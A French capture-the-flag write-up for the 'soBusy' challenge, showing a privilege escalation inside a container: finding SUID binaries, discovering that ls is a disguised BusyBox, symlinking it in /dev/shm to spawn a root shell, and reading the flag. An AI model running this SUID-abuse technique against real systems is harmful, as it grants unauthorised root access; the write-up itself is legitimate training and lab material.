😅 soBusy
👀 Avant de commencer
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github
🚩 Avoir le flag
Nous arrivons sur une vm, nous savons que nous sommes dans un docker puisque nous avons un fichier .dockerenv
à la racine du système.
Comme sur toute bonne vm dans laquelle nous arrivons, nous allons effectué des commandes de bases pour savoir ce que nous pouvons faire
Norlement, nous effectuon un linpeas.sh
pour avoir un rapport complet de la machine. Cependant nous n'avons pas les permission d'écriture dans le /tmp/
et nous ne pouvons pas éxécuter de fichier que nous avons crée.
gcc2024@soBusy:~$ find / -perm /4000 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/ls
/usr/bin/passwd
C'est assez bizarre, de voir que nous avons /usr/bin/ls
en SUID, nous allons donc essayer de l'éxécuter pour voir si nous pouvons faire quelque chose avec.
gcc2024@soBusy:~$ /usr/bin/ls -la /root
total 12
drwx------ 2 root root 4096 Jan 22 12:51 .
drwxr-xr-x 19 root root 4096 Jan 22 12:51 ..
-rw-r--r-- 1 root root 33 Jan 10 2024 flag.txt
Effectivement, notre ls est bien SUID, nous allons donc pouvoir éxécuter des commandes en tant que root mais uniquement avec notre ls.
Sauf que, ls ne permet pas de lire des fichiers ou alors d'éxécuter des fichiers...
Après une courte réfléxion, je me dis que je vais effectuer un ls
, sur le fichier /usr/bin/ls
pour voir si j'ai vraiment un binaire ls ou si c'est un binaire malicieux.
gcc2024@soBusy:~$ /usr/bin/ls -la /usr/bin/ls
-rwsr-xr-x 1 root root 188584 Jan 10 2024 /usr/bin/ls
C'est bien ce que je pensais, il ne faut pas se fier à la première impression, nous avons bien un binaire ls
qui est SUID. Mais se n'est pas un vrai
ls. Puisque un binaire ls
devrait avoir cette taille:
MisTraleuh@/$ ls -la /bin/ls
-rwsr-sr-x 1 root root 138216 Jan 8 15:56 /usr/bin/ls
En effectuant un argument d'aide au ls
, nous allons tomber sur un résultat surprenant:
gcc2024@soBusy:~$ /usr/bin/ls --help
Usage: ls [OPTION]... [FILE]...
Usage: busybox [function [arguments]...]
or: busybox --list
link to busybox for each function they wish to use and BusyBox
[...]
Nous avons alors un binare ls
qui est aussi un binaire busybox
, nous allons donc pouvoir éxécuter des commandes avec ce binaire ls
qui est en réalité un binaire busybox
.
Comme dis plus tôt, même si le répertoire /tmp/
n'est pas accessible en écriture, le répertoire /dev/shm
lui l'est. Nous allons donc pouvoir éxécuter des commandes dans ce répertoire.
gcc2024@soBusy:~$ cd /dev/shm
gcc2024@sobusy:/dev/shm$ ln -s /usr/bin/ls busybox
gcc2024@sobusy:/dev/shm$ ./busybox /bin/sh
root# id
uid=0(root) gid=0(root) groups=0(root)
root# cat /root/flag.txt
GCC{BusyBox_H4s_M0r3_Opti0ns_Th4n_LS}
💖 Support
👀 Avant de quitter
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github